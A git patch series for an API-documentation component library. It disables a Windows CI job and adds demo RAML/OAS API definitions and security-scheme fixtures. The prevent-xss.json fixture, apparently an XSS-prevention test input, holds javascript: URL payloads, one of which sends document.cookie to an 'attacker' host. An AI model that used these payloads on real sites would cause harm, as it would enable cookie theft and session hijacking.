-  test_win:
-    name: "Windows"
-    runs-on: windows-latest
-    steps:
-      - uses: actions/checkout@v2
-      - uses: actions/setup-node@v1
-        with:
-          node-version: 14
-      - uses: microsoft/playwright-github-action@v1
-      - uses: actions/cache@v1
-        with:
-          path: ~/.npm
-          key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
-          restore-keys: |
-            ${{ runner.os }}-node-
-      - name: Install dependencies
-        run: npm ci
-      - name: Run tests
-        run: npm test
+  # test_win:
+  #   name: "Windows"
+  #   runs-on: windows-latest
+  #   steps:
+  #     - uses: actions/checkout@v2
+  #     - uses: actions/setup-node@v1
+  #       with:
+  #         node-version: 14
+  #     - uses: microsoft/playwright-github-action@v1
+  #     - uses: actions/cache@v1
+  #       with:
+  #         path: ~/.npm
+  #         key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+  #         restore-keys: |
+  #           ${{ runner.os }}-node-
+  #     - name: Install dependencies
+  #       run: npm ci
+  #     - name: Run tests
+  #       run: npm test
   tag:
     name: "Publishing release"
     if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master'
     needs: 
       - test_linux
-      - test_win
+      # - test_win
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code

From da9f22fea67e3b7942516457ab29cdd94638bdaa Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Mon, 11 Oct 2021 20:17:13 -0700
Subject: [PATCH 13/36] chore: adding tests from api-security-documentation

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-security-documentation.js            |   3 +-
 demo/apis/APIC-560/APIC-560.yaml              |   8 +-
 demo/apis/APIC-641/APIC-641.yaml              |   5 +-
 demo/apis/SE-19215/SE-19215.raml              |   4 +-
 demo/apis/SE-19500/docs/home.md               |   1 +
 demo/apis/arc-demo-api/arc-demo-api.raml      |   3 +-
 demo/apis/async-api/async-api.yaml            |   1 +
 demo/apis/demo-api/demo-api.raml              |   5 +-
 demo/apis/ext-docs/ext-docs.yaml              |   3 +-
 demo/apis/multi-server/multi-server.yaml      |  10 +-
 demo/apis/navigation-api/navigation-api.raml  |   2 -
 demo/apis/new-oas3-types/new-oas3-types.yaml  |   4 +-
 demo/apis/oas-api/read-only-properties.yaml   |   4 +-
 demo/apis/oas-callbacks/oas-callbacks.yaml    |   2 +-
 demo/apis/prevent-xss/prevent-xss.json        |  26 +-
 demo/apis/schema-api/schema-api.raml          |   4 +-
 .../secured-api/oauth2-header-delivery.raml   |  12 +-
 .../secured-api/oauth2-query-delivery.raml    |  10 +-
 demo/apis/secured-api/secured-api.raml        |   2 +-
 .../security-api/oauth-2-custom-settings.raml | 154 ++++
 demo/apis/security-api/readme.md              |   1 +
 demo/apis/security-api/security-api.raml      |  89 +++
 demo/apis/security-api/security/basic.raml    |  13 +
 demo/apis/security-api/security/digest.raml   |   5 +
 .../apis/security-api/security/oauth_1_0.raml |  27 +
 .../apis/security-api/security/oauth_2_0.raml |  30 +
 .../security/oauth_2_0_no_scopes.raml         |  29 +
 .../security/other-oauth_1_0.raml             |  29 +
 .../security-api/security/passthrough.raml    |  12 +
 demo/apis/security-api/security/x-custom.raml |  26 +
 demo/apis/security-api/security/x-other.raml  |  29 +
 demo/model.mjs                                |   1 +
 index.d.ts                                    |   2 +
 index.js                                      |   2 +
 src/elements/ApiNavigationElement.js          |  20 +-
 src/elements/ApiSecurityDocumentElement.d.ts  | 247 +++++++
 src/elements/ApiSecurityDocumentElement.js    |  67 +-
 src/lib/auth-ui/OAuth2Auth.js                 |   4 +
 test/AmfLoader.js                             |  16 +-
 ...ApiAuthorizationEditorElement.raml.test.js |   8 +-
 test/authorization/OAuth2Method.test.js       |  30 +-
 .../ApiOperationDocumentElement.test.js       |   6 +-
 .../ApiResourceDocumentElement.test.js        |   6 +-
 .../ApiSecurityDocumentElement.test.js        | 660 ++++++++++++++++++
 test/navigation/security-fragment.test.js     |   2 +-
 test/serializer/Endpoints.test.js             |  11 +-
 test/serializer/Operations.test.js            |   9 +-
 web-test-runner.config.mjs                    |   2 +-
 48 files changed, 1552 insertions(+), 94 deletions(-)
 create mode 100644 demo/apis/SE-19500/docs/home.md
 create mode 100644 demo/apis/security-api/oauth-2-custom-settings.raml
 create mode 100644 demo/apis/security-api/readme.md
 create mode 100644 demo/apis/security-api/security-api.raml
 create mode 100644 demo/apis/security-api/security/basic.raml
 create mode 100644 demo/apis/security-api/security/digest.raml
 create mode 100644 demo/apis/security-api/security/oauth_1_0.raml
 create mode 100644 demo/apis/security-api/security/oauth_2_0.raml
 create mode 100644 demo/apis/security-api/security/oauth_2_0_no_scopes.raml
 create mode 100644 demo/apis/security-api/security/other-oauth_1_0.raml
 create mode 100644 demo/apis/security-api/security/passthrough.raml
 create mode 100644 demo/apis/security-api/security/x-custom.raml
 create mode 100644 demo/apis/security-api/security/x-other.raml
 create mode 100644 src/elements/ApiSecurityDocumentElement.d.ts
 create mode 100644 test/elements/ApiSecurityDocumentElement.test.js

diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js
index 9b37ed1..be1cd51 100644
--- a/demo/api-security-documentation.js
+++ b/demo/api-security-documentation.js
@@ -104,9 +104,10 @@ class ComponentPage extends AmfDemoBase {
       ['oauth-pkce', 'OAuth 2 PKCE'],
       ['secured-unions', 'Secured unions'],
       ['secured-api', 'Secured API'],
+      ['security-api', 'api-security-documentation API'],
     ].forEach(([file, label]) => {
       result[result.length] = html`
-      <anypoint-item data-src="models/${file}-compact.json">${label} - compact model</anypoint-item>`;
+      <anypoint-item data-src="models/${file}-compact.json">${label}</anypoint-item>`;
     });
     return result;
   }
diff --git a/demo/apis/APIC-560/APIC-560.yaml b/demo/apis/APIC-560/APIC-560.yaml
index 98f55da..b6af100 100644
--- a/demo/apis/APIC-560/APIC-560.yaml
+++ b/demo/apis/APIC-560/APIC-560.yaml
@@ -200,4 +200,10 @@ components:
     kafka:
       bindings:
         kafka:
-          clientId: my-app-id
+          groupId:
+            type: string
+            enum: ['myGroupId']
+          clientId:
+            type: string
+            enum: ['myClientId']
+          bindingVersion: '0.1.0'
diff --git a/demo/apis/APIC-641/APIC-641.yaml b/demo/apis/APIC-641/APIC-641.yaml
index 6195187..7b0fb1c 100644
--- a/demo/apis/APIC-641/APIC-641.yaml
+++ b/demo/apis/APIC-641/APIC-641.yaml
@@ -23,4 +23,7 @@ paths:
       Provides details about Capital Group clients including name, address and other information
     get:
       operationId: getPartyById
-      summary: Gets the specific parties in the system.
\ No newline at end of file
+      summary: Gets the specific parties in the system.
+      responses:
+        default:
+          description: A default response
diff --git a/demo/apis/SE-19215/SE-19215.raml b/demo/apis/SE-19215/SE-19215.raml
index 007c9e4..47e1a23 100644
--- a/demo/apis/SE-19215/SE-19215.raml
+++ b/demo/apis/SE-19215/SE-19215.raml
@@ -1,5 +1,7 @@
 #%RAML 1.0
+title: SE-19215
+
 /omaha/transactionscall1:
     post:
 /omaha/transactions/call2:
-    post:
\ No newline at end of file
+    post:
diff --git a/demo/apis/SE-19500/docs/home.md b/demo/apis/SE-19500/docs/home.md
new file mode 100644
index 0000000..fbe5730
--- /dev/null
+++ b/demo/apis/SE-19500/docs/home.md
@@ -0,0 +1 @@
+# test doc
diff --git a/demo/apis/arc-demo-api/arc-demo-api.raml b/demo/apis/arc-demo-api/arc-demo-api.raml
index a4ae67a..c8043c9 100644
--- a/demo/apis/arc-demo-api/arc-demo-api.raml
+++ b/demo/apis/arc-demo-api/arc-demo-api.raml
@@ -110,7 +110,6 @@ securitySchemes:
   oauth_2_0: !include securitySchemes/oauth_2_0.raml
   x-custom: !include securitySchemes/x-custom.raml
   basic: !include securitySchemes/basic.raml
-  libOauth: myLib.oauthLib
 
 documentation:
   - title: Test doc
@@ -120,7 +119,7 @@ securedBy: [basic]
 
 /test-parameters/{feature}:
   (deprecated): This endpoint is deprecated and will be removed.
-  securedBy: [libOauth]
+  securedBy: [myLib.oauthLib]
   uriParameters:
     feature:
       type: string
diff --git a/demo/apis/async-api/async-api.yaml b/demo/apis/async-api/async-api.yaml
index 2091d6b..0bb9886 100644
--- a/demo/apis/async-api/async-api.yaml
+++ b/demo/apis/async-api/async-api.yaml
@@ -34,6 +34,7 @@ components:
             $ref: '#/components/schemas/sent-at'
     goodbye-msg:
       headers:
+        type: object
         oneOf:
           - $ref: '#/components/schemas/goodbye-headers-1'
           - $ref: '#/components/schemas/goodbye-headers-2'
diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml
index d0e7f00..166d699 100644
--- a/demo/apis/demo-api/demo-api.raml
+++ b/demo/apis/demo-api/demo-api.raml
@@ -192,7 +192,6 @@ types:
   FileType:
     minLength: 1024
     maxLength: 2048
-    required: true
     type: file
     fileTypes:
       - application/mulesoft+modeling
@@ -430,7 +429,7 @@ securitySchemes:
   oauth2noDelivery: !include securitySchemes/oauth2-no-delivery.raml
   oauth2noGrants: !include securitySchemes/oauth2-no-grants.raml
   oauth2pkce: !include securitySchemes/oauth2-pkce.raml
-  libOauth: myLib.oauthLib
+  # libOauth: myLib.oauthLib
 
 documentation:
   - title: Test doc
@@ -439,7 +438,7 @@ documentation:
 
 /test-parameters/{feature}:
   (deprecated): This endpoint is deprecated and will be removed.
-  securedBy: [libOauth]
+  securedBy: [myLib.oauthLib]
   uriParameters:
     feature:
       type: string
diff --git a/demo/apis/ext-docs/ext-docs.yaml b/demo/apis/ext-docs/ext-docs.yaml
index 3547cb0..6b3cc00 100644
--- a/demo/apis/ext-docs/ext-docs.yaml
+++ b/demo/apis/ext-docs/ext-docs.yaml
@@ -11,4 +11,5 @@ paths:
     get:
       summary: "A get method"
       responses:
-        200:
+        '200':
+          description: OK response
diff --git a/demo/apis/multi-server/multi-server.yaml b/demo/apis/multi-server/multi-server.yaml
index 358f45d..5ef80a5 100644
--- a/demo/apis/multi-server/multi-server.yaml
+++ b/demo/apis/multi-server/multi-server.yaml
@@ -35,7 +35,7 @@ paths:
     get:
       summary: "A get method"
       responses:
-        200:
+        '200':
           description: Successful response
   /copy:
     description: Has half of default servers
@@ -55,7 +55,7 @@ paths:
     get:
       summary: "A get method"
       responses:
-        200:
+        '200':
           description: Successful response
   /files:
     description: File upload and download operations
@@ -65,7 +65,7 @@ paths:
     get:
       summary: "A get method"
       responses:
-        200:
+        '200':
           description: Successful response
   /ping:
     servers:
@@ -79,10 +79,10 @@ paths:
           description: Also overrides base path for the GET /ping operation
       summary: "A get method"
       responses:
-        200:
+        '200':
           description: Successful response
     post:
       summary: "A post method"
       responses:
-        201:
+        '201':
           description: Successful create
diff --git a/demo/apis/navigation-api/navigation-api.raml b/demo/apis/navigation-api/navigation-api.raml
index 47cabd1..0f76893 100644
--- a/demo/apis/navigation-api/navigation-api.raml
+++ b/demo/apis/navigation-api/navigation-api.raml
@@ -32,7 +32,6 @@ types:
   Picture:
     displayName: Pic
     type: object
-    required: false
     description: The user's profile picture.
     properties:
       url:
@@ -41,7 +40,6 @@ types:
         description: A URL that points to a profile picture of this user.
   Property:
     type: object
-    required: false
 
     properties:
       kind:
diff --git a/demo/apis/new-oas3-types/new-oas3-types.yaml b/demo/apis/new-oas3-types/new-oas3-types.yaml
index ae39a38..d9347d6 100644
--- a/demo/apis/new-oas3-types/new-oas3-types.yaml
+++ b/demo/apis/new-oas3-types/new-oas3-types.yaml
@@ -74,11 +74,11 @@ paths:
     get:
       description: Returns all available pets
       responses:
-        200:
+        '200':
           description: List of pets
           content:
             application/json:
               schema:
                 type: array
                 items:
-                  - $ref: '#/components/schemas/Pet'
\ No newline at end of file
+                  $ref: '#/components/schemas/Pet'
diff --git a/demo/apis/oas-api/read-only-properties.yaml b/demo/apis/oas-api/read-only-properties.yaml
index 736547a..fd31c6c 100644
--- a/demo/apis/oas-api/read-only-properties.yaml
+++ b/demo/apis/oas-api/read-only-properties.yaml
@@ -24,7 +24,7 @@ paths:
     get:
       summary: "A get method"
       responses:
-        200:
+        '200':
           description: Successful response
     post:
       summary: Add something
@@ -34,7 +34,7 @@ paths:
             schema:
               $ref: "#/components/schemas/Article"
       responses:
-        201:
+        '201':
           description: Successful creation
           content:
             appliication/json:
diff --git a/demo/apis/oas-callbacks/oas-callbacks.yaml b/demo/apis/oas-callbacks/oas-callbacks.yaml
index ed41dae..4c31993 100644
--- a/demo/apis/oas-callbacks/oas-callbacks.yaml
+++ b/demo/apis/oas-callbacks/oas-callbacks.yaml
@@ -102,7 +102,7 @@ paths:
               parameters:
                 one: $response.body#/one
                 two: $response.body#/two
-        402:
+        '402':
           description: Not OK. Payment is required
           content:
             application/json:
diff --git a/demo/apis/prevent-xss/prevent-xss.json b/demo/apis/prevent-xss/prevent-xss.json
index 473b81a..e6cd3d6 100644
--- a/demo/apis/prevent-xss/prevent-xss.json
+++ b/demo/apis/prevent-xss/prevent-xss.json
@@ -1,18 +1,20 @@
 {
   "swagger": "2.0",
   "info": {
-      "description": "test",
-      "version": "1.0.3",
-      "title": "Swagger",
-      "termsOfService": "http://swagger.io/terms/",
-    "contact" : {
-      "name" : "Wally",
-      "email" : "wallythebest@wally.com",
+    "description": "test",
+    "version": "1.0.3",
+    "title": "Swagger",
+    "termsOfService": "http://swagger.io/terms/",
+    "contact": {
+      "name": "Wally",
+      "email": "wallythebest@wally.com",
       "url": "javascript:window.location='http://attacker/?cookie='+document.cookie"
     },
-      "license": {
-          "name": "I swear if you click below you will have the most amazing experience ever. I promise.",
-          "url": "javascript:alert(/XSS:/.source+document.domain)"
-      }
+    "license": {
+      "name": "I swear if you click below you will have the most amazing experience ever. I promise.",
+      "url": "javascript:alert(/XSS:/.source+document.domain)"
+    }
+  },
+  "paths": {
   }
-  } 
\ No newline at end of file
+}
diff --git a/demo/apis/schema-api/schema-api.raml b/demo/apis/schema-api/schema-api.raml
index cca4ee4..895178d 100644
--- a/demo/apis/schema-api/schema-api.raml
+++ b/demo/apis/schema-api/schema-api.raml
@@ -18,8 +18,8 @@ types:
     default: test
     example: other
     pattern: "[a-zA-Z]*"
-    maxLength: 3
-    minLength: 15
+    maxLength: 15
+    minLength: 3
     enum: 
      - test
      - other
diff --git a/demo/apis/secured-api/oauth2-header-delivery.raml b/demo/apis/secured-api/oauth2-header-delivery.raml
index e4aaffd..d285555 100644
--- a/demo/apis/secured-api/oauth2-header-delivery.raml
+++ b/demo/apis/secured-api/oauth2-header-delivery.raml
@@ -1,13 +1,13 @@
 #%RAML 1.0 SecurityScheme
 type: OAuth 2.0
-displayName: Token delivery described as query parameter only
+displayName: Token delivery described as header parameter only
 settings:
-  accessTokenUri: https://token.com
-  authorizationUri: https://auth.com
-  authorizationGrants: authorization_code
-  scopes: [profile, email]
+  accessTokenUri: https://header.com/token
+  authorizationUri: https://header.com/auth
+  authorizationGrants: password
+  scopes: [header]
 describedBy:
   headers:
     token:
       type: string
-      description: Apply access token here.
+      description: Apply access token as a header here.
diff --git a/demo/apis/secured-api/oauth2-query-delivery.raml b/demo/apis/secured-api/oauth2-query-delivery.raml
index 4a5b7e2..305c1cd 100644
--- a/demo/apis/secured-api/oauth2-query-delivery.raml
+++ b/demo/apis/secured-api/oauth2-query-delivery.raml
@@ -2,12 +2,12 @@
 type: OAuth 2.0
 displayName: Token delivery described as query parameter only
 settings:
-  accessTokenUri: https://token.com
-  authorizationUri: https://auth.com
-  authorizationGrants: authorization_code
-  scopes: [profile, email]
+  accessTokenUri: https://query.com/token
+  authorizationUri: https://query.com/auth
+  authorizationGrants: client_credentials
+  scopes: [query]
 describedBy:
   queryParameters:
     access_token:
       type: string
-      description: Apply access token here.
+      description: Apply access token as a query here.
diff --git a/demo/apis/secured-api/secured-api.raml b/demo/apis/secured-api/secured-api.raml
index c624d2d..51d4df7 100644
--- a/demo/apis/secured-api/secured-api.raml
+++ b/demo/apis/secured-api/secured-api.raml
@@ -70,7 +70,7 @@ securitySchemes:
           type: string
   oauth2grants:
     type: OAuth 2.0
-    displayName: Regular OAuth 2.0 definition
+    displayName: OAuth 2 grants security
     settings:
       accessTokenUri: https://token.com
       authorizationUri: https://auth.com
diff --git a/demo/apis/security-api/oauth-2-custom-settings.raml b/demo/apis/security-api/oauth-2-custom-settings.raml
new file mode 100644
index 0000000..49cfd8c
--- /dev/null
+++ b/demo/apis/security-api/oauth-2-custom-settings.raml
@@ -0,0 +1,154 @@
+#%RAML 1.0 AnnotationTypeDeclaration
+displayName: OAuth 2.0 custom settings
+description: |
+  OAuth 2.0 allows to extend the specification with custom access token types,
+  endpoint parameters, grant types or response types.
+  This annotation allows you to annotate the `settings` property of OAuth 2.0
+  security scheme type to inform applications about additional settings.
+  ## Use case
+  Let's say a authorization server requires to send a `resource` query parameter
+  with the authorization request. The `resource` parameter can be any string.
+  Currently it is impossible to define this property in RAML file.
+  Similar if the code exchange request requires to put the `resource` parameter
+  into the request body.
+  This annotation allows you to define this parameter with the RAML definition
+  and place the parameter in the right request.
+  ## Annotation Target
+  The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets)
+  for those annotations is `SecuritySchemeSettings`.
+  You can only apply it to Security Scheme `settings` property.
+  ## Example
+  ```yaml
+  annotationTypes:
+    customSettings: !include oauth-2-custom-settings.raml
+  securitySchemes:
+    oauth2:
+      type: OAuth 2.0
+      describedBy:
+        headers:
+          Authorization:
+            example: "Bearer token"
+      settings:
+        (customSettings):
+          authorizationGrants: [custom_grant]
+          ignoreDefaultGrants:
+          authorizationSettings:
+            queryParameters:
+              resource:
+                type: string
+                required: true
+                description: |
+                  A resource ID that defines a domain of authorization.
+            headers:
+              x-auth-resource:
+                type: string
+                required: false
+          accessTokenSettings:
+            body:
+              resource:
+                type: string
+                required: true
+                description: |
+                  A resource ID that defines a domain of authorization.
+        accessTokenUri: https://auth.domain.com/authorize
+        authorizationUri: https://auth.domain.com/token
+        authorizationGrants: [implicit]
+        scopes: profile
+  ```
+  ## API console
+  This annotation is recognized and respected by API console.
+allowedTargets: [ SecuritySchemeSettings ]
+properties:
+  authorizationSettings:
+    description: |
+      Settings to be applied to the `authorizationUri` GET request.
+      Define any query parameters or headers that are required by your OAuth 2.0
+      authorization server implementation.
+      This settings can be applied only to `token` and `code` requests
+    type: object
+    displayName: Authorization settings
+    required: false
+    properties:
+      queryParameters:
+        displayName: Authorization query parameters
+        description: |
+          Query parameters to be applied to the `authorizationUri`.
+          Use the same notation as RAML's `queryParameters`.
+          If you define a parameter that is already defined in OAuth 2.0 specification
+          (RFC6749) it should be ignored by the processor.
+        type: object
+        required: false
+        properties:
+          /a-zA-Z0-9\-\_/*:
+            type: object
+            required: false
+      headers:
+        displayName: Authorization headers
+        description: |
+          Headers to be set on the authorization request.
+          Use the same notation as RAML's `headers`.
+        type: object
+        required: false
+        properties:
+          /a-zA-Z0-9\-\_/*:
+            type: object
+            required: false
+  accessTokenSettings:
+    displayName: Access token settings
+    description: |
+      Settings to be applied to the token endpoint POST request.
+      Define query parameters, headers or custom body paramaeters that should
+      be included into the request.
+      Note, as per RFC6749, the request content type is `application/x-www-form-urlencoded`
+      and the processor has to always assume this content type.
+    type: object
+    required: false
+    properties:
+      queryParameters:
+        displayName: Token query parameters
+        description: |
+          Query parameters to be applied to the `accessTokenUri`.
+          Use the same notation as RAML's `queryParameters`.
+          OAuth 2.0 specification does not specify any query parameters for this
+          type of request.
+        type: object
+        required: false
+        properties:
+          /a-zA-Z0-9\-\_/*:
+            type: object
+            required: false
+      headers:
+        displayName: Token request headers
+        description: |
+          Headers to be set on the token request.
+          Use the same notation as RAML's `headers`.
+        type: object
+        required: false
+        properties:
+          /a-zA-Z0-9\-\_/*:
+            type: object
+            required: false
+      body:
+        displayName: Token body parameters
+        description: |
+          Body parameters to be applied to the `accessTokenUri`.
+          Properties will be applied to the default set of OAuth 2.0 token request
+          parameters.
+          If you define a parameter that is already defined in OAuth 2.0 specification
+          (RFC6749) it should be ignored by the processor.
+        type: object
+        required: false
+  authorizationGrants:
+    type: string[]
+    displayName: Custom authorization grants
+    required: false
+    description: |
+      List of custom authorization granst supported by your OAuth 2.0 server
+  ignoreDefaultGrants:
+    type: nil
+    required: false
+    description: |
+      If set, the processor should not use any of the `authorizationGrants`
+      properties defined in the `settings` and should be replaced by
+      `authorizationGrants` defined in this annotation.
+      This can be used only if this annotation `authorizationGrants` is set.
diff --git a/demo/apis/security-api/readme.md b/demo/apis/security-api/readme.md
new file mode 100644
index 0000000..2b89e2a
--- /dev/null
+++ b/demo/apis/security-api/readme.md
@@ -0,0 +1 @@
+This API originated from `api-security-documentation`.
diff --git a/demo/apis/security-api/security-api.raml b/demo/apis/security-api/security-api.raml
new file mode 100644
index 0000000..1cc96cb
--- /dev/null
+++ b/demo/apis/security-api/security-api.raml
@@ -0,0 +1,89 @@
+#%RAML 1.0
+title: Security Demo
+version: v1
+baseUri: http://secured.domain.com/
+
+annotationTypes:
+  oauth-2-custom-settings: !include oauth-2-custom-settings.raml
+
+securitySchemes:
+  oauth_2_0: !include security/oauth_2_0.raml
+  oauth_1_0: !include security/oauth_1_0.raml
+  oauth_2_0_no_scopes: !include security/oauth_2_0_no_scopes.raml
+  other_oauth_1_0: !include security/other-oauth_1_0.raml
+  pass_through: !include security/passthrough.raml
+  basic: !include security/basic.raml
+  digest: !include security/digest.raml
+  x-custom: !include security/x-custom.raml
+  x-other: !include security/x-other.raml
+  oauth2Annotated:
+    type: OAuth 2.0
+    displayName: OAuth 2.0 with annotation
+    settings:
+      (oauth-2-custom-settings):
+        authorizationGrants: [annotated_custom_grant, annotated_custom_grant2]
+        authorizationSettings:
+          queryParameters:
+            resource:
+              type: string
+              required: true
+              description: |
+                A resource ID that defines a domain of authorization.
+              displayName: Hello query parameeter
+              default: some default
+              examples:
+                named: named example value
+                otherExample: test example value
+              pattern: [a-zA-Z\s\S, test]
+              maxLength: 12
+              minLength: 3
+            numericParam:
+              type: number
+              minimum: 10
+              maximum: 20
+              multipleOf: 2
+              format: float
+              required: false
+              example: 22
+            dateParam:
+              type: date-only
+              required: false
+            repetableParam1:
+              type: string[]
+              required: false
+            repetableParam2:
+              type: array
+              items: integer
+              required: false
+          headers:
+            x-auth-resource:
+              type: string
+              required: false
+              enum: [a, b, c]
+        accessTokenSettings:
+          queryParameters:
+            queryTokenResource: string
+            detailedTokenResource:
+              type: number
+              description: some description
+              required: false
+          body:
+            bodyTokenResource: string
+            bodyDetailed:
+              type: boolean
+              required: true
+              displayName: Body detailed property
+      accessTokenUri: https://token.com
+      authorizationUri: https://auth.com
+      authorizationGrants: [implicit, authorization_code]
+      scopes: [profile, email]
+    describedBy:
+      queryParameters:
+        access_token:
+          type: string
+          description: Apply access token here.
+
+securedBy: [null, oauth_2_0_no_scopes, oauth_2_0, oauth_1_0, pass_through, basic, digest, x-custom, x-other]
+
+/test:
+  get:
diff --git a/demo/apis/security-api/security/basic.raml b/demo/apis/security-api/security/basic.raml
new file mode 100644
index 0000000..efcc54a
--- /dev/null
+++ b/demo/apis/security-api/security/basic.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+  This API supports Basic Authentication for staging environment.
+type: Basic Authentication
+describedBy:
+  headers:
+    Authorization:
+      description: |
+        Standard authorization header.
+settings:
+  test:
+    type: none
diff --git a/demo/apis/security-api/security/digest.raml b/demo/apis/security-api/security/digest.raml
new file mode 100644
index 0000000..95d0778
--- /dev/null
+++ b/demo/apis/security-api/security/digest.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+  This API supports DigestSecurityScheme Authentication for staging environment.
+type: Digest Authentication
diff --git a/demo/apis/security-api/security/oauth_1_0.raml b/demo/apis/security-api/security/oauth_1_0.raml
new file mode 100644
index 0000000..fafea08
--- /dev/null
+++ b/demo/apis/security-api/security/oauth_1_0.raml
@@ -0,0 +1,27 @@
+
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.
+settings:
+  requestTokenUri: http://api.domain.com/oauth1/request_token
+  authorizationUri: http://api.domain.com/oauth1/authorize
+  tokenCredentialsUri: http://api.domain.com/oauth1/access_token
+  signatures: [RSA-SHA1, HMAC-SHA1]
+describedBy:
+  queryParameters:
+    token:
+      type: string
+      description: |
+        Received Access Token.
+
+        Do not mix with headers
+  headers:
+    Authorization:
+      type: string
+      description: |
+        Received Access Token.
+
+        Do not mix with query parameters.
+  responses:
+    403:
+      description: Server understood the request but says no to it.
diff --git a/demo/apis/security-api/security/oauth_2_0.raml b/demo/apis/security-api/security/oauth_2_0.raml
new file mode 100644
index 0000000..33e3f89
--- /dev/null
+++ b/demo/apis/security-api/security/oauth_2_0.raml
@@ -0,0 +1,30 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+description: This API supports OAuth 2.0 for authenticating all API requests.
+displayName: OAuth2 (simple)
+describedBy:
+  queryParameters:
+    access_token:
+      type: string
+      description: Used to send a valid OAuth 2 access token. Do not use with the "Authorization" header.
+      required: false
+  headers:
+    authorization:
+      type: string
+      example: ya.2453vfDb3cJHisdf.*&H
+      description: Used to send a valid OAuth 2 access token. Do not use with the "access_token" query string parameter.
+      required: false
+  responses:
+    401:
+      description: Bad or expired token. This can happen if the user or the service revoked or expired an access token. To fix, re-authenticate the user.
+      body:
+        application/json:
+    403:
+      description: Bad OAuth request (wrong consumer key, bad nonce, expired timestamp...). Unfortunately, re-authenticating the user won't help here.
+      body:
+        application/json:
+settings:
+  accessTokenUri: http://api.domain.com/oauth2/token
+  authorizationUri: http://api.domain.com/oauth2/auth
+  authorizationGrants: ["authorization_code", "implicit", "https://schema.org/auth"]
+  scopes: ["profile", "email"]
diff --git a/demo/apis/security-api/security/oauth_2_0_no_scopes.raml b/demo/apis/security-api/security/oauth_2_0_no_scopes.raml
new file mode 100644
index 0000000..23a50ed
--- /dev/null
+++ b/demo/apis/security-api/security/oauth_2_0_no_scopes.raml
@@ -0,0 +1,29 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+description: This API supports OAuth 2.0 for authenticating all API requests.
+displayName: OAuth2 (no scopes)
+describedBy:
+  queryParameters:
+    access_token:
+      type: string
+      description: Used to send a valid OAuth 2 access token. Do not use with the "Authorization" header.
+      required: false
+  headers:
+    authorization:
+      type: string
+      example: ya.2453vfDb3cJHisdf.*&H
+      description: Used to send a valid OAuth 2 access token. Do not use with the "access_token" query string parameter.
+      required: false
+  responses:
+    401:
+      description: Bad or expired token. This can happen if the user or the service revoked or expired an access token. To fix, re-authenticate the user.
+      body:
+        application/json:
+    403:
+      description: Bad OAuth request (wrong consumer key, bad nonce, expired timestamp...). Unfortunately, re-authenticating the user won't help here.
+      body:
+        application/json:
+settings:
+  accessTokenUri: http://api.domain.com/oauth2/token
+  authorizationUri: http://api.domain.com/oauth2/auth
+  authorizationGrants: ["authorization_code", "implicit", "https://schema.org/auth"]
diff --git a/demo/apis/security-api/security/other-oauth_1_0.raml b/demo/apis/security-api/security/other-oauth_1_0.raml
new file mode 100644
index 0000000..8e0ea98
--- /dev/null
+++ b/demo/apis/security-api/security/other-oauth_1_0.raml
@@ -0,0 +1,29 @@
+
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+displayName: Other OAuth1 settings
+description: Some other OAuth1 settings.
+settings:
+  requestTokenUri: http://other.domain.com/oauth1/request_token
+  authorizationUri: http://other.domain.com/oauth1/authorize
+  tokenCredentialsUri: http://other.domain.com/oauth1/access_token
+describedBy:
+  headers:
+    Authorization:
+      type: string
+      description: |
+        Access Token to use.
+  responses:
+    403:
+      description: Server understood the request but says no to it.
+    401:
+      description: |
+        The request is invalid.
+      body:
+        application/json:
+          type: object
+          properties:
+            isError:
+              type: boolean
+              default: true
+            message: string
diff --git a/demo/apis/security-api/security/passthrough.raml b/demo/apis/security-api/security/passthrough.raml
new file mode 100644
index 0000000..e91428a
--- /dev/null
+++ b/demo/apis/security-api/security/passthrough.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+  This API supports Pass Through Authentication for staging environment.
+type: Pass Through
+describedBy:
+  queryParameters:
+    api-key-pass-through:
+      type: string
+  headers:
+    api_key_pass_through:
+      type: string
diff --git a/demo/apis/security-api/security/x-custom.raml b/demo/apis/security-api/security/x-custom.raml
new file mode 100644
index 0000000..28c6f0c
--- /dev/null
+++ b/demo/apis/security-api/security/x-custom.raml
@@ -0,0 +1,26 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+  A custom security scheme for authenticating requests.
+type: x-custom
+describedBy:
+  headers:
+    SpecialToken:
+      description: |
+        Used to send a custom token.
+      type: string
+  queryParameters:
+    debugToken:
+      description: Select one of available values to run the request in the debug mode with selected level.
+      enum: [Info, Log, Warning, Error, Critical]
+      type: string
+      required: false
+    booleanToken:
+      description: Just to test boolean values.
+      type: boolean
+      default: true
+  responses:
+    401:
+      description: |
+        Bad token.
+    403:
diff --git a/demo/apis/security-api/security/x-other.raml b/demo/apis/security-api/security/x-other.raml
new file mode 100644
index 0000000..f44c4d3
--- /dev/null
+++ b/demo/apis/security-api/security/x-other.raml
@@ -0,0 +1,29 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+  Other custom security method for authorization.
+type: x-custom
+describedBy:
+  queryParameters:
+    apiUserId:
+      description: |
+        Your api user ID. Some imaginary value.
+      type: number
+      required: true
+    apiNonce:
+      description: Random string
+      type: string
+  responses:
+    401:
+      description: |
+        Bad token autorization.
+      body:
+        application/json:
+          type: object
+          properties:
+            error:
+              type: boolean
+              description: Always true. Indicates that the response is errord.
+            message:
+              type: string
+              description: Human readable message describing the error.
diff --git a/demo/model.mjs b/demo/model.mjs
index eb7a65e..7c4ffa4 100644
